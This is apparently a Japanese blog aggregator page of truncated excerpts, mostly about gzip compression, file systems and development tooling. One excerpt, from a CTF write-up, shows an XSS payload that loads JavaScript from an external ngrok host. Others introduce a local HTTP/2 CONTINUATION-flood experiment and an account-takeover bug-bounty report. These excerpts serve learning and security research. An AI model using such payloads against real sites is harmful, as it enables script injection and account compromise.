GNU zip、もともと利用されていたcompressに特許問題(LZW法)があり、GNUが独自に開発した圧縮フォーマット、 Webサーバからのデータの圧縮形式として用いられることもある。
今、仕事で作っているGoで作られたAPIサーバは比較的、レスポンスが巨大なものが多く、gzip圧縮した方が良さそうに感じた。 APIサーバはGCP上のAPI gatewayが前段にあり、その後ろでCloud Runで実際の処理が動いている構成。 最初はAPI gatewayとかにgzip圧縮する機能とかありそうとか思ってたが、そういう機能はないみたいなのでAPIサーバ側で実装してみた。 使ったライブラリ 下のリンク先のものを使った。 基本的には1024バイトを超えるレスポンスでないとgzip圧縮しないようになっていたので、小さい大きさのレスポンスの時の圧縮・解凍による性能劣化みたいなことは少な…
忙しい人向け タイトルの通りですが、N GBオーダのスパースなファイルを gzip -d して開発マシンに解凍している人に向けた spdc というツールを作成しました。 このツールを使うと、gzipで圧縮されたファイルをスパースなファイル として解凍できます。 github.com スパースファイルとは？ 初めにスパースなファイルについて説明します。 面倒なので ChatGPT-4.0 に任せます（隙あらば課金自慢） スパースファイルとは、実際には空であるが、システムに対してはデータが存在するかのように振る舞う特殊なファイルのことを指します。この種のファイルは、大量の0の連続部分（つまり、何も…
はじめに 実行環境 まずは、ファイルを圧縮する 解凍せずに、zipファイルに含まれるファイル一覧を表示する 解凍せずに、gzファイルの中身を閲覧する 解凍せずに、gzファイルの中身を部分的に閲覧する まとめ 参考資料 はじめに Linux/Mac環境では圧縮されたファイルの中身を閲覧するときに、 わざわざ、ファイル解凍をしなくても、中身を確認することができます。 ただし、圧縮形式によっては、 複数ファイルを一緒に圧縮できる形式(zipやtar.gzなど)であるのか、 1つずつのファイルごとに圧縮する形式（gzなど）であるのか が変わってきます。よって、ファイルの中身の表示され方も変わってきます…
圧縮と暗号は大事 匿名化に加えてこれら3つは3大PCリテラシーだと思います パスワード付きPDF ちょっとした書類ならコレで良いと思う プレビューで何らかをpdfを保存するときに 「アクセス権」→「書類を開くときにパスワードを要求」にチェック 専用パスワードを確実に打ちこむ 「アクセス権」の設定でさらに改竄防止を見込める 例外的な許可を出さずにパスワード設定すればおk PDFの仕様なんてそうそう変わらんし，深くは追求しません，汎用性も低いでしょうし… パスワード付きで暗号と圧縮 ちょっとしたデータならコレで良いと思う 基本的にFInderからGUI経由で行うことが無理な（オプションが呼び出せな…
こんにちは。 エキサイト株式会社の三浦です。 APIなどからのレスポンスは、サイズが小さいに越したことはありません。 レスポンスサイズを小さくする方法の1つに、レスポンスをgzipで圧縮するという方法があります。 API側でレスポンスをgzip圧縮して送信し、受け取り側で解凍して使用するというやり方です。 ですが、実はJavaのRestTemplateは、デフォルトではgzip圧縮したレスポンスを使うことができません。 ここでは、RestTemplateを使ってgzip圧縮されたレスポンスを使用できるようにする方法を説明します。 レスポンスのサイズ APIなどから受け取るレスポンスのサイズは、…
gzip圧縮について調べたのでまとめる。 概要 gzip - Wikipedia gzip（ジー・ジップ）は、データ圧縮プログラムのひとつ、およびその圧縮データのフォーマットである。 圧縮を有効にする | PageSpeed Insights | Google Developers 最新のブラウザはすべて gzip 圧縮に対応しており、すべての HTTP リクエストで自動的に圧縮のネゴシエーションを実施します。gzip 圧縮を有効にすると、転送されるレスポンスのサイズが最大で 90% 削減されるため、リソースのダウンロード時間の大幅な短縮、クライアントのデータ使用量の削減、最初のページ レンダ…
背景 目的 実行環境 シングルドライブでの実験 暗号化 圧縮 マルチドライブでの実験 ストライピング レプリケーション キャッシュ 変更履歴 参考文献 背景 Bcachefs は LInuxカーネル 6.7 からサポートされた Copy-On-Write (CoW) のファイルシステムである。 Bcachefs は、従来のLinuxでサポートされていた "bcache" をベースとしており、堅牢性と信頼性に加えて、多くの機能をサポートしていることで注目を浴びている。 目的 手元の Raspberry Pi 4 Model B (Raspberry Pi 4) で Bcachefs のドキュメン…
4/20～4/21に開催されたCPCTF 2024で優勝したのでwriteupを書く。二日目は応用情報の試験と被ってしまいほとんど触れなかったがなんとか一位を保ててよかった。 競プロもCTFも好きなので完全に私のためのコンテストである。楽しいのでもっとやってほしい。 Binary,Crypto,Forensics,Misc,Pwn,Shellは全完できたが、PPCとWebは一問残ってしまってちょっと残念。最後に解いた The sky's the limit 以外はヒントを開かなかったが、OSINTとかはもっと開いてもよかったかもしれない。 解けた問題は全部書きます。問題が多いので一問あたりは短…
Laravelでcorsってどうやんの？って聞かれたので「そもそもCORSってなんや？」って言えないので調べる。 CORSの基礎知識 www.youtube.com zenn.dev よし、わかった。じゃあ後は実践的に試してみる。 Laravelで試すための下準備 3年ぶりにLaravel触るのですっかり忘れてた。やり直し。 環境 t-ito@DESKTOP-BR8SCJA:~/lesson/laravel$ cat /etc/debian_version 12.5 t-ito@DESKTOP-BR8SCJA:~/lesson/laravel$ cat /etc/issue Debian GN…
やれるのかわからなかったのでOTAアプデしてみました。SO-52C_NTT DoCoMo JP_65.2.B.2.112 → 65.2.B.2.125 今回のみの作業 初回のmagiskインストール時に fastboot boot boot.img をできなかった(flashするしかなかった)ので、boot.imgのバックアップが作られていない。これを手動作成する。 XperiFirmのsinからboot.imgを抽出する(アプデ前バージョンの) sony_dump out boot_X-FLASH-ALL-D000.sin boot_X-FLASH-ALL-D000.000 を boot.i…
web/b01ler-ad web/3-city-elves-writeups web/imagehost web/pwnhub web/b01lers_casino web/b01ler-ad const content = req.body.content.replace("'", '').replace('"', '').replace("`", ''); '"`が使えない状態でXSSさせる問題。 それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。 <script src=//c748-194-180-179-191.ngrok-fr…
関連記事 概要 サンプル 参考情報 Goのおすすめ書籍 関連記事 GitHub - devlights/blog-summary: ブログ「いろいろ備忘録日記」のまとめ 概要 以下、自分用のメモです。 Go 1.22では、まだ Experiment な機能となっている Range-Over Functions について、分かりやすい解説記事があったので忘れないうちにメモメモ。。。 www.ardanlabs.com 正式機能になったときには、標準ライブラリに iter パッケージが追加されるみたいですね。 ソースは以下で見れます。 https://go.dev/src/iter/iter.go…
様々な種類のフェイクログを生成するユーティリティであるflogに関するメモ。 概要についてまとめ、実際にフェイクログを生成してみます。 ■ 概要 flogの導入方法とフェイクログの生成方法を確認します。 ◆ flogの導入 インストール方法などは公式ドキュメント（参考）に記載されています。 圧縮アーカイブを使って導入する場合は次のコマンドを用います。 $ wget https://github.com/mingrammer/flog/releases/download/v0.4.4/flog_0.4.4_linux_amd64.tar.gz $ gzip -d flog_0.4.4_linux…
関連記事 概要 サンプル 参考情報 Goのおすすめ書籍 関連記事 GitHub - devlights/blog-summary: ブログ「いろいろ備忘録日記」のまとめ 概要 以下、自分用のメモです。よく忘れるのでここにメモメモ。。。 io.MultiWriter って使っていますか？ 意外と利用している人が周りにいないので、ここにメモすることにしました。 入出力処理を実装していると、一つのデータソースを複数の出力に対して処理することが結構あります。 通信データをソケットに流し込んだ後に、通信ログにも書き込んで、使ったデータはgzipで圧縮して保存 ファイルに出力してチェックサムも計算する 流…
まとめ patch を適応しましょう Go は 1.22.2 にあげましょう 自分で立てたローカルで遊ぶだけにしてください [目次] CONTINUATION flood とは サーバーの準備 クライアントの実装 接続する Setting Frame Headers Frame Continuation Frame 動作確認: x/net 0.24.0 動作確認: x/net 0.22.0 おまけ GODEBUG について クライアント側のコード全体 Go でのパッチ内容 Links
Aria Operations 8.16 の Hot Fix 1 がリリースされました。 kb.vmware.com 適用対象としては、 VMware Aria Operations 8.16 Hot Fix 1 can be applied to any 8.16.x environment. と 8.16.x なら何でもこざれですが、この時点で 8.16 のリリースとしては以下。 8.16 8.16.1 ところでこれ、どちらに当てても結果は同じ中身になるんだっけ…という検証。 TL;DR どのバージョンに Hot Fix を適用しても結果は同じものができる。 環境 Aria Operati…
ソース： medium.com 脆弱性：アカウントの乗っ取り（ATO） 訳： 通常、ターゲットに近づくとき、私は常に「通常のユーザー」であるかのようにサイトをナビゲートして。これにより、ユーザーが電子メールを提供することでパスワードをリセットできる興味深いエンドポイントを見つけることができて。 これはすぐに私の目に留まったので、Burp インターセプトをオンにして、登録済みの電子メールの 1 つをこのフィールドに入力して。 これに対する POST 応答は次のようになり。 POST /api/Membership/ResetPassword HTTP/2Host: apisub.target.c…
wp db export - | gzip > /tmp/wp-`date +\%Y\%m\%d`.sql.gz mysqldump: Error: 'Access denied; you need (at least one of) the PROCESS privilege(s) for this operation' when trying to dump tablespaceswp-cli 2.4.0 は --include-tablespaces オプションがなく include-tablespaces 相当で動作wp-cli 2.10.0 に更新してエラー解消
ACSC 2024 Qualsへ参加しました。そのwrite-up記事です。 IDAの解析結果ファイル.i64は、GitHubで公開しています。
はじめに 42 Tokyo で C++ を使うチーム開発に取り組むにあたって、静的解析ツールの clang-tidy を導入しました。しかし、ファイル数があまり多くないにもかかわらず実行に時間がかかりすぎるという問題がありました。 そこで、GNU Parallel というツールを使って並列化することで、clang-tidy の実行時間を大幅に短縮することに成功しました。 この記事では、具体的な事例とその解決に役立った GNU Parallel について紹介します。 clang-tidy 遅すぎ問題 約 50 ファイル程度の lint に 1 分強かかっていました。遅いです。 CIの実行結果 c…
hyper-text.org
qiita.com
qiita.com
okumuralab.org
blog.shibayu36.org
sfujiwara.hatenablog.com
codezine.jp
www.koikikukan.com
www.linux.or.jp
